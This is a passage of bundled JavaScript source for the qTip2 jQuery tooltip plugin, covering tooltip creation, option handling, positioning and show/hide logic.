 * http://qtip2.com
 *
 * Copyright (c) 2016 
 * Released under the MIT licenses
 * http://jquery.org/license
 *
 * Date: Wed May 11 2016 10:31 GMT+0100+0100
 * Plugins: tips modal viewport svg imagemap ie6
 * Styles: core basic css3
 */
/*global window: false, jQuery: false, console: false, define: false */

/* Cache window, document, undefined */
(function( window, document, undefined ) {

// Uses AMD or browser globals to create a jQuery plugin.
(function( factory ) {
	"use strict";
	if(true) {
		!(__WEBPACK_AMD_DEFINE_ARRAY__ = [__webpack_require__(486)], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory),
		__WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ?
		(__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__),
		__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
	}
	else {}
}
(function($) {
	"use strict"; // Enable ECMAScript "strict" operation for this function. See more: http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/
;// Munge the primitives - Paul Irish tip
var TRUE = true,
FALSE = false,
NULL = null,

// Common variables
X = 'x', Y = 'y',
WIDTH = 'width',
HEIGHT = 'height',

// Positioning sides
TOP = 'top',
LEFT = 'left',
BOTTOM = 'bottom',
RIGHT = 'right',
CENTER = 'center',

// Position adjustment types
FLIP = 'flip',
FLIPINVERT = 'flipinvert',
SHIFT = 'shift',

// Shortcut vars
QTIP, PROTOTYPE, CORNER, CHECKS,
PLUGINS = {},
NAMESPACE = 'qtip',
ATTR_HAS = 'data-hasqtip',
ATTR_ID = 'data-qtip-id',
WIDGET = ['ui-widget', 'ui-tooltip'],
SELECTOR = '.'+NAMESPACE,
INACTIVE_EVENTS = 'click dblclick mousedown mouseup mousemove mouseleave mouseenter'.split(' '),

CLASS_FIXED = NAMESPACE+'-fixed',
CLASS_DEFAULT = NAMESPACE + '-default',
CLASS_FOCUS = NAMESPACE + '-focus',
CLASS_HOVER = NAMESPACE + '-hover',
CLASS_DISABLED = NAMESPACE+'-disabled',

replaceSuffix = '_replacedByqTip',
oldtitle = 'oldtitle',
trackingBound,

// Browser detection
BROWSER = {
	/*
	 * IE version detection
	 *
	 * Adapted from: http://ajaxian.com/archives/attack-of-the-ie-conditional-comment
	 * Credit to James Padolsey for the original implemntation!
	 */
	ie: (function() {
		/* eslint-disable no-empty */
		var v, i;
		for (
			v = 4, i = document.createElement('div');
			(i.innerHTML = '<!--[if gt IE ' + v + ']><i></i><![endif]-->') && i.getElementsByTagName('i')[0];
			v+=1
		) {}
		return v > 4 ? v : NaN;
		/* eslint-enable no-empty */
	})(),

	/*
	 * iOS version detection
	 */
	iOS: parseFloat(
		('' + (/CPU.*OS ([0-9_]{1,5})|(CPU like).*AppleWebKit.*Mobile/i.exec(navigator.userAgent) || [0,''])[1])
		.replace('undefined', '3_2').replace('_', '.').replace('_', '')
	) || FALSE
};
;function QTip(target, options, id, attr) {
	// Elements and ID
	this.id = id;
	this.target = target;
	this.tooltip = NULL;
	this.elements = { target: target };

	// Internal constructs
	this._id = NAMESPACE + '-' + id;
	this.timers = { img: {} };
	this.options = options;
	this.plugins = {};

	// Cache object
	this.cache = {
		event: {},
		target: $(),
		disabled: FALSE,
		attr: attr,
		onTooltip: FALSE,
		lastClass: ''
	};

	// Set the initial flags
	this.rendered = this.destroyed = this.disabled = this.waiting =
		this.hiddenDuringWait = this.positioning = this.triggering = FALSE;
}
PROTOTYPE = QTip.prototype;

PROTOTYPE._when = function(deferreds) {
	return $.when.apply($, deferreds);
};

PROTOTYPE.render = function(show) {
	if(this.rendered || this.destroyed) { return this; } // If tooltip has already been rendered, exit

	var self = this,
		options = this.options,
		cache = this.cache,
		elements = this.elements,
		text = options.content.text,
		title = options.content.title,
		button = options.content.button,
		posOptions = options.position,
		deferreds = [];

	// Add ARIA attributes to target
	$.attr(this.target[0], 'aria-describedby', this._id);

	// Create public position object that tracks current position corners
	cache.posClass = this._createPosClass(
		(this.position = { my: posOptions.my, at: posOptions.at }).my
	);

	// Create tooltip element
	this.tooltip = elements.tooltip = $('<div/>', {
		'id': this._id,
		'class': [ NAMESPACE, CLASS_DEFAULT, options.style.classes, cache.posClass ].join(' '),
		'width': options.style.width || '',
		'height': options.style.height || '',
		'tracking': posOptions.target === 'mouse' && posOptions.adjust.mouse,

		/* ARIA specific attributes */
		'role': 'alert',
		'aria-live': 'polite',
		'aria-atomic': FALSE,
		'aria-describedby': this._id + '-content',
		'aria-hidden': TRUE
	})
	.toggleClass(CLASS_DISABLED, this.disabled)
	.attr(ATTR_ID, this.id)
	.data(NAMESPACE, this)
	.appendTo(posOptions.container)
	.append(
		// Create content element
		elements.content = $('<div />', {
			'class': NAMESPACE + '-content',
			'id': this._id + '-content',
			'aria-atomic': TRUE
		})
	);

	// Set rendered flag and prevent redundant reposition calls for now
	this.rendered = -1;
	this.positioning = TRUE;

	// Create title...
	if(title) {
		this._createTitle();

		// Update title only if its not a callback (called in toggle if so)
		if(!$.isFunction(title)) {
			deferreds.push( this._updateTitle(title, FALSE) );
		}
	}

	// Create button
	if(button) { this._createButton(); }

	// Set proper rendered flag and update content if not a callback function (called in toggle)
	if(!$.isFunction(text)) {
		deferreds.push( this._updateContent(text, FALSE) );
	}
	this.rendered = TRUE;

	// Setup widget classes
	this._setWidget();

	// Initialize 'render' plugins
	$.each(PLUGINS, function(name) {
		var instance;
		if(this.initialize === 'render' && (instance = this(self))) {
			self.plugins[name] = instance;
		}
	});

	// Unassign initial events and assign proper events
	this._unassignEvents();
	this._assignEvents();

	// When deferreds have completed
	this._when(deferreds).then(function() {
		// tooltiprender event
		self._trigger('render');

		// Reset flags
		self.positioning = FALSE;

		// Show tooltip if not hidden during wait period
		if(!self.hiddenDuringWait && (options.show.ready || show)) {
			self.toggle(TRUE, cache.event, FALSE);
		}
		self.hiddenDuringWait = FALSE;
	});

	// Expose API
	QTIP.api[this.id] = this;

	return this;
};

PROTOTYPE.destroy = function(immediate) {
	// Set flag the signify destroy is taking place to plugins
	// and ensure it only gets destroyed once!
	if(this.destroyed) { return this.target; }

	function process() {
		if(this.destroyed) { return; }
		this.destroyed = TRUE;

		var target = this.target,
			title = target.attr(oldtitle),
			timer;

		// Destroy tooltip if rendered
		if(this.rendered) {
			this.tooltip.stop(1,0).find('*').remove().end().remove();
		}

		// Destroy all plugins
		$.each(this.plugins, function() {
			this.destroy && this.destroy();
		});

		// Clear timers
		for (timer in this.timers) {
			if (this.timers.hasOwnProperty(timer)) {
				clearTimeout(this.timers[timer]);
			}
		}

		// Remove api object and ARIA attributes
		target.removeData(NAMESPACE)
			.removeAttr(ATTR_ID)
			.removeAttr(ATTR_HAS)
			.removeAttr('aria-describedby');

		// Reset old title attribute if removed
		if(this.options.suppress && title) {
			target.attr('title', title).removeAttr(oldtitle);
		}

		// Remove qTip events associated with this API
		this._unassignEvents();

		// Remove ID from used id objects, and delete object references
		// for better garbage collection and leak protection
		this.options = this.elements = this.cache = this.timers =
			this.plugins = this.mouse = NULL;

		// Delete epoxsed API object
		delete QTIP.api[this.id];
	}

	// If an immediate destroy is needed
	if((immediate !== TRUE || this.triggering === 'hide') && this.rendered) {
		this.tooltip.one('tooltiphidden', $.proxy(process, this));
		!this.triggering && this.hide();
	}

	// If we're not in the process of hiding... process
	else { process.call(this); }

	return this.target;
};
;function invalidOpt(a) {
	return a === NULL || $.type(a) !== 'object';
}

function invalidContent(c) {
	return !($.isFunction(c) || 
            c && c.attr || 
            c.length || 
            $.type(c) === 'object' && (c.jquery || c.then));
}

// Option object sanitizer
function sanitizeOptions(opts) {
	var content, text, ajax, once;

	if(invalidOpt(opts)) { return FALSE; }

	if(invalidOpt(opts.metadata)) {
		opts.metadata = { type: opts.metadata };
	}

	if('content' in opts) {
		content = opts.content;

		if(invalidOpt(content) || content.jquery || content.done) {
			text = invalidContent(content) ? FALSE : content;
			content = opts.content = {
				text: text
			};
		}
		else { text = content.text; }

		// DEPRECATED - Old content.ajax plugin functionality
		// Converts it into the proper Deferred syntax
		if('ajax' in content) {
			ajax = content.ajax;
			once = ajax && ajax.once !== FALSE;
			delete content.ajax;

			content.text = function(event, api) {
				var loading = text || $(this).attr(api.options.content.attr) || 'Loading...',

				deferred = $.ajax(
					$.extend({}, ajax, { context: api })
				)
				.then(ajax.success, NULL, ajax.error)
				.then(function(newContent) {
					if(newContent && once) { api.set('content.text', newContent); }
					return newContent;
				},
				function(xhr, status, error) {
					if(api.destroyed || xhr.status === 0) { return; }
					api.set('content.text', status + ': ' + error);
				});

				return !once ? (api.set('content.text', loading), deferred) : loading;
			};
		}

		if('title' in content) {
			if($.isPlainObject(content.title)) {
				content.button = content.title.button;
				content.title = content.title.text;
			}

			if(invalidContent(content.title || FALSE)) {
				content.title = FALSE;
			}
		}
	}

	if('position' in opts && invalidOpt(opts.position)) {
		opts.position = { my: opts.position, at: opts.position };
	}

	if('show' in opts && invalidOpt(opts.show)) {
		opts.show = opts.show.jquery ? { target: opts.show } :
			opts.show === TRUE ? { ready: TRUE } : { event: opts.show };
	}

	if('hide' in opts && invalidOpt(opts.hide)) {
		opts.hide = opts.hide.jquery ? { target: opts.hide } : { event: opts.hide };
	}

	if('style' in opts && invalidOpt(opts.style)) {
		opts.style = { classes: opts.style };
	}

	// Sanitize plugin options
	$.each(PLUGINS, function() {
		this.sanitize && this.sanitize(opts);
	});

	return opts;
}

// Setup builtin .set() option checks
CHECKS = PROTOTYPE.checks = {
	builtin: {
		// Core checks
		'^id$': function(obj, o, v, prev) {
			var id = v === TRUE ? QTIP.nextid : v,
				newId = NAMESPACE + '-' + id;

			if(id !== FALSE && id.length > 0 && !$('#'+newId).length) {
				this._id = newId;

				if(this.rendered) {
					this.tooltip[0].id = this._id;
					this.elements.content[0].id = this._id + '-content';
					this.elements.title[0].id = this._id + '-title';
				}
			}
			else { obj[o] = prev; }
		},
		'^prerender': function(obj, o, v) {
			v && !this.rendered && this.render(this.options.show.ready);
		},

		// Content checks
		'^content.text$': function(obj, o, v) {
			this._updateContent(v);
		},
		'^content.attr$': function(obj, o, v, prev) {
			if(this.options.content.text === this.target.attr(prev)) {
				this._updateContent( this.target.attr(v) );
			}
		},
		'^content.title$': function(obj, o, v) {
			// Remove title if content is null
			if(!v) { return this._removeTitle(); }

			// If title isn't already created, create it now and update
			v && !this.elements.title && this._createTitle();
			this._updateTitle(v);
		},
		'^content.button$': function(obj, o, v) {
			this._updateButton(v);
		},
		'^content.title.(text|button)$': function(obj, o, v) {
			this.set('content.'+o, v); // Backwards title.text/button compat
		},

		// Position checks
		'^position.(my|at)$': function(obj, o, v){
			if('string' === typeof v) {
				this.position[o] = obj[o] = new CORNER(v, o === 'at');
			}
		},
		'^position.container$': function(obj, o, v){
			this.rendered && this.tooltip.appendTo(v);
		},

		// Show checks
		'^show.ready$': function(obj, o, v) {
			v && (!this.rendered && this.render(TRUE) || this.toggle(TRUE));
		},

		// Style checks
		'^style.classes$': function(obj, o, v, p) {
			this.rendered && this.tooltip.removeClass(p).addClass(v);
		},
		'^style.(width|height)': function(obj, o, v) {
			this.rendered && this.tooltip.css(o, v);
		},
		'^style.widget|content.title': function() {
			this.rendered && this._setWidget();
		},
		'^style.def': function(obj, o, v) {
			this.rendered && this.tooltip.toggleClass(CLASS_DEFAULT, !!v);
		},

		// Events check
		'^events.(render|show|move|hide|focus|blur)$': function(obj, o, v) {
			this.rendered && this.tooltip[($.isFunction(v) ? '' : 'un') + 'bind']('tooltip'+o, v);
		},

		// Properties which require event reassignment
		'^(show|hide|position).(event|target|fixed|inactive|leave|distance|viewport|adjust)': function() {
			if(!this.rendered) { return; }

			// Set tracking flag
			var posOptions = this.options.position;
			this.tooltip.attr('tracking', posOptions.target === 'mouse' && posOptions.adjust.mouse);

			// Reassign events
			this._unassignEvents();
			this._assignEvents();
		}
	}
};

// Dot notation converter
function convertNotation(options, notation) {
	var i = 0, obj, option = options,

	// Split notation into array
	levels = notation.split('.');

	// Loop through
	while(option = option[ levels[i++] ]) {
		if(i < levels.length) { obj = option; }
	}

	return [obj || options, levels.pop()];
}

PROTOTYPE.get = function(notation) {
	if(this.destroyed) { return this; }

	var o = convertNotation(this.options, notation.toLowerCase()),
		result = o[0][ o[1] ];

	return result.precedance ? result.string() : result;
};

function setCallback(notation, args) {
	var category, rule, match;

	for(category in this.checks) {
		if (!this.checks.hasOwnProperty(category)) { continue; }

		for(rule in this.checks[category]) {
			if (!this.checks[category].hasOwnProperty(rule)) { continue; }

			if(match = (new RegExp(rule, 'i')).exec(notation)) {
				args.push(match);

				if(category === 'builtin' || this.plugins[category]) {
					this.checks[category][rule].apply(
						this.plugins[category] || this, args
					);
				}
			}
		}
	}
}

var rmove = /^position\.(my|at|adjust|target|container|viewport)|style|content|show\.ready/i,
	rrender = /^prerender|show\.ready/i;

PROTOTYPE.set = function(option, value) {
	if(this.destroyed) { return this; }

	var rendered = this.rendered,
		reposition = FALSE,
		options = this.options,
		name;

	// Convert singular option/value pair into object form
	if('string' === typeof option) {
		name = option; option = {}; option[name] = value;
	}
	else { option = $.extend({}, option); }

	// Set all of the defined options to their new values
	$.each(option, function(notation, val) {
		if(rendered && rrender.test(notation)) {
			delete option[notation]; return;
		}

		// Set new obj value
		var obj = convertNotation(options, notation.toLowerCase()), previous;
		previous = obj[0][ obj[1] ];
		obj[0][ obj[1] ] = val && val.nodeType ? $(val) : val;

		// Also check if we need to reposition
		reposition = rmove.test(notation) || reposition;

		// Set the new params for the callback
		option[notation] = [obj[0], obj[1], val, previous];
	});

	// Re-sanitize options
	sanitizeOptions(options);

	/*
	 * Execute any valid callbacks for the set options
	 * Also set positioning flag so we don't get loads of redundant repositioning calls.
	 */
	this.positioning = TRUE;
	$.each(option, $.proxy(setCallback, this));
	this.positioning = FALSE;

	// Update position if needed
	if(this.rendered && this.tooltip[0].offsetWidth > 0 && reposition) {
		this.reposition( options.position.target === 'mouse' ? NULL : this.cache.event );
	}

	return this;
};
;PROTOTYPE._update = function(content, element) {
	var self = this,
		cache = this.cache;

	// Make sure tooltip is rendered and content is defined. If not return
	if(!this.rendered || !content) { return FALSE; }

	// Use function to parse content
	if($.isFunction(content)) {
		content = content.call(this.elements.target, cache.event, this) || '';
	}

	// Handle deferred content
	if($.isFunction(content.then)) {
		cache.waiting = TRUE;
		return content.then(function(c) {
			cache.waiting = FALSE;
			return self._update(c, element);
		}, NULL, function(e) {
			return self._update(e, element);
		});
	}

	// If content is null... return false
	if(content === FALSE || !content && content !== '') { return FALSE; }

	// Append new content if its a DOM array and show it if hidden
	if(content.jquery && content.length > 0) {
		element.empty().append(
			content.css({ display: 'block', visibility: 'visible' })
		);
	}

	// Content is a regular string, insert the new content
	else { element.html(content); }

	// Wait for content to be loaded, and reposition
	return this._waitForContent(element).then(function(images) {
		if(self.rendered && self.tooltip[0].offsetWidth > 0) {
			self.reposition(cache.event, !images.length);
		}
	});
};

PROTOTYPE._waitForContent = function(element) {
	var cache = this.cache;

	// Set flag
	cache.waiting = TRUE;

	// If imagesLoaded is included, ensure images have loaded and return promise
	return ( $.fn.imagesLoaded ? element.imagesLoaded() : new $.Deferred().resolve([]) )
		.done(function() { cache.waiting = FALSE; })
		.promise();
};

PROTOTYPE._updateContent = function(content, reposition) {
	this._update(content, this.elements.content, reposition);
};

PROTOTYPE._updateTitle = function(content, reposition) {
	if(this._update(content, this.elements.title, reposition) === FALSE) {
		this._removeTitle(FALSE);
	}
};

PROTOTYPE._createTitle = function()
{
	var elements = this.elements,
		id = this._id+'-title';

	// Destroy previous title element, if present
	if(elements.titlebar) { this._removeTitle(); }

	// Create title bar and title elements
	elements.titlebar = $('<div />', {
		'class': NAMESPACE + '-titlebar ' + (this.options.style.widget ? createWidgetClass('header') : '')
	})
	.append(
		elements.title = $('<div />', {
			'id': id,
			'class': NAMESPACE + '-title',
			'aria-atomic': TRUE
		})
	)
	.insertBefore(elements.content)

	// Button-specific events
	.delegate('.qtip-close', 'mousedown keydown mouseup keyup mouseout', function(event) {
		$(this).toggleClass('ui-state-active ui-state-focus', event.type.substr(-4) === 'down');
	})
	.delegate('.qtip-close', 'mouseover mouseout', function(event){
		$(this).toggleClass('ui-state-hover', event.type === 'mouseover');
	});

	// Create button if enabled
	if(this.options.content.button) { this._createButton(); }
};

PROTOTYPE._removeTitle = function(reposition)
{
	var elements = this.elements;

	if(elements.title) {
		elements.titlebar.remove();
		elements.titlebar = elements.title = elements.button = NULL;

		// Reposition if enabled
		if(reposition !== FALSE) { this.reposition(); }
	}
};
;PROTOTYPE._createPosClass = function(my) {
	return NAMESPACE + '-pos-' + (my || this.options.position.my).abbrev();
};

PROTOTYPE.reposition = function(event, effect) {
	if(!this.rendered || this.positioning || this.destroyed) { return this; }

	// Set positioning flag
	this.positioning = TRUE;

	var cache = this.cache,
		tooltip = this.tooltip,
		posOptions = this.options.position,
		target = posOptions.target,
		my = posOptions.my,
		at = posOptions.at,
		viewport = posOptions.viewport,
		container = posOptions.container,
		adjust = posOptions.adjust,
		method = adjust.method.split(' '),
		tooltipWidth = tooltip.outerWidth(FALSE),
		tooltipHeight = tooltip.outerHeight(FALSE),
		targetWidth = 0,
		targetHeight = 0,
		type = tooltip.css('position'),
		position = { left: 0, top: 0 },
		visible = tooltip[0].offsetWidth > 0,
		isScroll = event && event.type === 'scroll',
		win = $(window),
		doc = container[0].ownerDocument,
		mouse = this.mouse,
		pluginCalculations, offset, adjusted, newClass;

	// Check if absolute position was passed
	if($.isArray(target) && target.length === 2) {
		// Force left top and set position
		at = { x: LEFT, y: TOP };
		position = { left: target[0], top: target[1] };
	}

	// Check if mouse was the target
	else if(target === 'mouse') {
		// Force left top to allow flipping
		at = { x: LEFT, y: TOP };

		// Use the mouse origin that caused the show event, if distance hiding is enabled
		if((!adjust.mouse || this.options.hide.distance) && cache.origin && cache.origin.pageX) {
			event =  cache.origin;
		}

		// Use cached event for resize/scroll events
		else if(!event || event && (event.type === 'resize' || event.type === 'scroll')) {
			event = cache.event;
		}

		// Otherwise, use the cached mouse coordinates if available
		else if(mouse && mouse.pageX) {
			event = mouse;
		}

		// Calculate body and container offset and take them into account below
		if(type !== 'static') { position = container.offset(); }
		if(doc.body.offsetWidth !== (window.innerWidth || doc.documentElement.clientWidth)) {
			offset = $(document.body).offset();
		}

		// Use event coordinates for position
		position = {
			left: event.pageX - position.left + (offset && offset.left || 0),
			top: event.pageY - position.top + (offset && offset.top || 0)
		};

		// Scroll events are a pain, some browsers
		if(adjust.mouse && isScroll && mouse) {
			position.left -= (mouse.scrollX || 0) - win.scrollLeft();
			position.top -= (mouse.scrollY || 0) - win.scrollTop();
		}
	}

	// Target wasn't mouse or absolute...
	else {
		// Check if event targetting is being used
		if(target === 'event') {
			if(event && event.target && event.type !== 'scroll' && event.type !== 'resize') {
				cache.target = $(event.target);
			}
			else if(!event.target) {
				cache.target = this.elements.target;
			}
		}
		else if(target !== 'event'){
			cache.target = $(target.jquery ? target : this.elements.target);
		}
		target = cache.target;

		// Parse the target into a jQuery object and make sure there's an element present
		target = $(target).eq(0);
		if(target.length === 0) { return this; }

		// Check if window or document is the target
		else if(target[0] === document || target[0] === window) {
			targetWidth = BROWSER.iOS ? window.innerWidth : target.width();
			targetHeight = BROWSER.iOS ? window.innerHeight : target.height();

			if(target[0] === window) {
				position = {
					top: (viewport || target).scrollTop(),
					left: (viewport || target).scrollLeft()
				};
			}
		}

		// Check if the target is an <AREA> element
		else if(PLUGINS.imagemap && target.is('area')) {
			pluginCalculations = PLUGINS.imagemap(this, target, at, PLUGINS.viewport ? method : FALSE);
		}

		// Check if the target is an SVG element
		else if(PLUGINS.svg && target && target[0].ownerSVGElement) {
			pluginCalculations = PLUGINS.svg(this, target, at, PLUGINS.viewport ? method : FALSE);
		}

		// Otherwise use regular jQuery methods
		else {
			targetWidth = target.outerWidth(FALSE);
			targetHeight = target.outerHeight(FALSE);
			position = target.offset();
		}

		// Parse returned plugin values into proper variables
		if(pluginCalculations) {
			targetWidth = pluginCalculations.width;
			targetHeight = pluginCalculations.height;
			offset = pluginCalculations.offset;
			position = pluginCalculations.position;
		}

		// Adjust position to take into account offset parents
		position = this.reposition.offset(target, position, container);

		// Adjust for position.fixed tooltips (and also iOS scroll bug in v3.2-4.0 & v4.3-4.3.2)
		if(BROWSER.iOS > 3.1 && BROWSER.iOS < 4.1 ||
			BROWSER.iOS >= 4.3 && BROWSER.iOS < 4.33 ||
			!BROWSER.iOS && type === 'fixed'
		){
			position.left -= win.scrollLeft();
			position.top -= win.scrollTop();
		}

		// Adjust position relative to target
		if(!pluginCalculations || pluginCalculations && pluginCalculations.adjustable !== FALSE) {
			position.left += at.x === RIGHT ? targetWidth : at.x === CENTER ? targetWidth / 2 : 0;
			position.top += at.y === BOTTOM ? targetHeight : at.y === CENTER ? targetHeight / 2 : 0;
		}
	}

	// Adjust position relative to tooltip
	position.left += adjust.x + (my.x === RIGHT ? -tooltipWidth : my.x === CENTER ? -tooltipWidth / 2 : 0);
	position.top += adjust.y + (my.y === BOTTOM ? -tooltipHeight : my.y === CENTER ? -tooltipHeight / 2 : 0);

	// Use viewport adjustment plugin if enabled
	if(PLUGINS.viewport) {
		adjusted = position.adjusted = PLUGINS.viewport(
			this, position, posOptions, targetWidth, targetHeight, tooltipWidth, tooltipHeight
		);

		// Apply offsets supplied by positioning plugin (if used)
		if(offset && adjusted.left) { position.left += offset.left; }
		if(offset && adjusted.top) {  position.top += offset.top; }

		// Apply any new 'my' position
		if(adjusted.my) { this.position.my = adjusted.my; }
	}

	// Viewport adjustment is disabled, set values to zero
	else { position.adjusted = { left: 0, top: 0 }; }

	// Set tooltip position class if it's changed
	if(cache.posClass !== (newClass = this._createPosClass(this.position.my))) {
		cache.posClass = newClass;
		tooltip.removeClass(cache.posClass).addClass(newClass);
	}

	// tooltipmove event
	if(!this._trigger('move', [position, viewport.elem || viewport], event)) { return this; }
	delete position.adjusted;

	// If effect is disabled, target it mouse, no animation is defined or positioning gives NaN out, set CSS directly
	if(effect === FALSE || !visible || isNaN(position.left) || isNaN(position.top) || target === 'mouse' || !$.isFunction(posOptions.effect)) {
		tooltip.css(position);
	}

	// Use custom function if provided
	else if($.isFunction(posOptions.effect)) {
		posOptions.effect.call(tooltip, this, $.extend({}, position));
		tooltip.queue(function(next) {
			// Reset attributes to avoid cross-browser rendering bugs
			$(this).css({ opacity: '', height: '' });
			if(BROWSER.ie) { this.style.removeAttribute('filter'); }

			next();
		});
	}

	// Set positioning flag
	this.positioning = FALSE;

	return this;
};

// Custom (more correct for qTip!) offset calculator
PROTOTYPE.reposition.offset = function(elem, pos, container) {
	if(!container[0]) { return pos; }

	var ownerDocument = $(elem[0].ownerDocument),
		quirks = !!BROWSER.ie && document.compatMode !== 'CSS1Compat',
		parent = container[0],
		scrolled, position, parentOffset, overflow;

	function scroll(e, i) {
		pos.left += i * e.scrollLeft();
		pos.top += i * e.scrollTop();
	}

	// Compensate for non-static containers offset
	do {
		if((position = $.css(parent, 'position')) !== 'static') {
			if(position === 'fixed') {
				parentOffset = parent.getBoundingClientRect();
				scroll(ownerDocument, -1);
			}
			else {
				parentOffset = $(parent).position();
				parentOffset.left += parseFloat($.css(parent, 'borderLeftWidth')) || 0;
				parentOffset.top += parseFloat($.css(parent, 'borderTopWidth')) || 0;
			}

			pos.left -= parentOffset.left + (parseFloat($.css(parent, 'marginLeft')) || 0);
			pos.top -= parentOffset.top + (parseFloat($.css(parent, 'marginTop')) || 0);

			// If this is the first parent element with an overflow of "scroll" or "auto", store it
			if(!scrolled && (overflow = $.css(parent, 'overflow')) !== 'hidden' && overflow !== 'visible') { scrolled = $(parent); }
		}
	}
	while(parent = parent.offsetParent);

	// Compensate for containers scroll if it also has an offsetParent (or in IE quirks mode)
	if(scrolled && (scrolled[0] !== ownerDocument[0] || quirks)) {
		scroll(scrolled, 1);
	}

	return pos;
};

// Corner class
var C = (CORNER = PROTOTYPE.reposition.Corner = function(corner, forceY) {
	corner = ('' + corner).replace(/([A-Z])/, ' $1').replace(/middle/gi, CENTER).toLowerCase();
	this.x = (corner.match(/left|right/i) || corner.match(/center/) || ['inherit'])[0].toLowerCase();
	this.y = (corner.match(/top|bottom|center/i) || ['inherit'])[0].toLowerCase();
	this.forceY = !!forceY;

	var f = corner.charAt(0);
	this.precedance = f === 't' || f === 'b' ? Y : X;
}).prototype;

C.invert = function(z, center) {
	this[z] = this[z] === LEFT ? RIGHT : this[z] === RIGHT ? LEFT : center || this[z];
};

C.string = function(join) {
	var x = this.x, y = this.y;

	var result = x !== y ?
		x === 'center' || y !== 'center' && (this.precedance === Y || this.forceY) ? 
			[y,x] : 
			[x,y] :
		[x];

	return join !== false ? result.join(' ') : result;
};

C.abbrev = function() {
	var result = this.string(false);
	return result[0].charAt(0) + (result[1] && result[1].charAt(0) || '');
};

C.clone = function() {
	return new CORNER( this.string(), this.forceY );
};

;
PROTOTYPE.toggle = function(state, event) {
	var cache = this.cache,
		options = this.options,
		tooltip = this.tooltip;

	// Try to prevent flickering when tooltip overlaps show element
	if(event) {
		if((/over|enter/).test(event.type) && cache.event && (/out|leave/).test(cache.event.type) &&
			options.show.target.add(event.target).length === options.show.target.length &&
			tooltip.has(event.relatedTarget).length) {
			return this;
		}

		// Cache event
		cache.event = $.event.fix(event);
	}

	// If we're currently waiting and we've just hidden... stop it
	this.waiting && !state && (this.hiddenDuringWait = TRUE);

	// Render the tooltip if showing and it isn't already
	if(!this.rendered) { return state ? this.render(1) : this; }
	else if(this.destroyed || this.disabled) { return this; }

	var type = state ? 'show' : 'hide',
		opts = this.options[type],
		posOptions = this.options.position,
		contentOptions = this.options.content,
		width = this.tooltip.css('width'),
		visible = this.tooltip.is(':visible'),
		animate = state || opts.target.length === 1,
		sameTarget = !event || opts.target.length < 2 || cache.target[0] === event.target,
		identicalState, allow, after;

	// Detect state if valid one isn't provided
	if((typeof state).search('boolean|number')) { state = !visible; }

	// Check if the tooltip is in an identical state to the new would-be state
	identicalState = !tooltip.is(':animated') && visible === state && sameTarget;

	// Fire tooltip(show/hide) event and check if destroyed
	allow = !identicalState ? !!this._trigger(type, [90]) : NULL;

	// Check to make sure the tooltip wasn't destroyed in the callback
	if(this.destroyed) { return this; }

	// If the user didn't stop the method prematurely and we're showing the tooltip, focus it
	if(allow !== FALSE && state) { this.focus(event); }

	// If the state hasn't changed or the user stopped it, return early
	if(!allow || identicalState) { return this; }

	// Set ARIA hidden attribute
	$.attr(tooltip[0], 'aria-hidden', !!!state);

	// Execute state specific properties
	if(state) {
		// Store show origin coordinates
		this.mouse && (cache.origin = $.event.fix(this.mouse));

		// Update tooltip content & title if it's a dynamic function
		if($.isFunction(contentOptions.text)) { this._updateContent(contentOptions.text, FALSE); }
		if($.isFunction(contentOptions.title)) { this._updateTitle(contentOptions.title, FALSE); }

		// Cache mousemove events for positioning purposes (if not already tracking)
		if(!trackingBound && posOptions.target === 'mouse' && posOptions.adjust.mouse) {
			$(document).bind('mousemove.'+NAMESPACE, this._storeMouse);
			trackingBound = TRUE;
		}

		// Update the tooltip position (set width first to prevent viewport/max-width issues)
		if(!width) { tooltip.css('width', tooltip.outerWidth(FALSE)); }
		this.reposition(event, arguments[2]);
		if(!width) { tooltip.css('width', ''); }

		// Hide other tooltips if tooltip is solo
		if(!!opts.solo) {
			(typeof opts.solo === 'string' ? $(opts.solo) : $(SELECTOR, opts.solo))
				.not(tooltip).not(opts.target).qtip('hide', new $.Event('tooltipsolo'));
		}
	}
	else {
		// Clear show timer if we're hiding
		clearTimeout(this.timers.show);

		// Remove cached origin on hide
		delete cache.origin;

		// Remove mouse tracking event if not needed (all tracking qTips are hidden)
		if(trackingBound && !$(SELECTOR+'[tracking="true"]:visible', opts.solo).not(tooltip).length) {
			$(document).unbind('mousemove.'+NAMESPACE);
			trackingBound = FALSE;
		}

		// Blur the tooltip
		this.blur(event);
	}

	// Define post-animation, state specific properties
	after = $.proxy(function() {
		if(state) {
			// Prevent antialias from disappearing in IE by removing filter
			if(BROWSER.ie) { tooltip[0].style.removeAttribute('filter'); }

			// Remove overflow setting to prevent tip bugs
			tooltip.css('overflow', '');

			// Autofocus elements if enabled
			if('string' === typeof opts.autofocus) {
				$(this.options.show.autofocus, tooltip).focus();
			}

			// If set, hide tooltip when inactive for delay period
			this.options.show.target.trigger('qtip-'+this.id+'-inactive');
		}
		else {
			// Reset CSS states
			tooltip.css({
				display: '',
				visibility: '',
				opacity: '',
				left: '',
				top: ''
			});
		}

		// tooltipvisible/tooltiphidden events
		this._trigger(state ? 'visible' : 'hidden');
	}, this);

	// If no effect type is supplied, use a simple toggle
	if(opts.effect === FALSE || animate === FALSE) {
		tooltip[ type ]();
		after();
	}

	// Use custom function if provided
	else if($.isFunction(opts.effect)) {
		tooltip.stop(1, 1);
		opts.effect.call(tooltip, this);
		tooltip.queue('fx', function(n) {
			after(); n();
		});
	}

	// Use basic fade function by default
	else { tooltip.fadeTo(90, state ? 1 : 0, after); }

	// If inactive hide method is set, active it
	if(state) { opts.target.trigger('qtip-'+this.id+'-inactive'); }

	return this;
};

PROTOTYPE.show = function(event) { return this.toggle(TRUE, event); };

PROTOTYPE.hide = function(event) { return this.toggle(FALSE, event); };
;PROTOTYPE.focus = function(event) {
	if(!this.rendered || this.destroyed) { return this; }

	var qtips = $(SELECTOR),
		tooltip = this.tooltip,
		curIndex = parseInt(tooltip[0].style.zIndex, 10),
		newIndex = QTIP.zindex + qtips.length;

	// Only update the z-index if it has changed and tooltip is not already focused
	if(!tooltip.hasClass(CLASS_FOCUS)) {
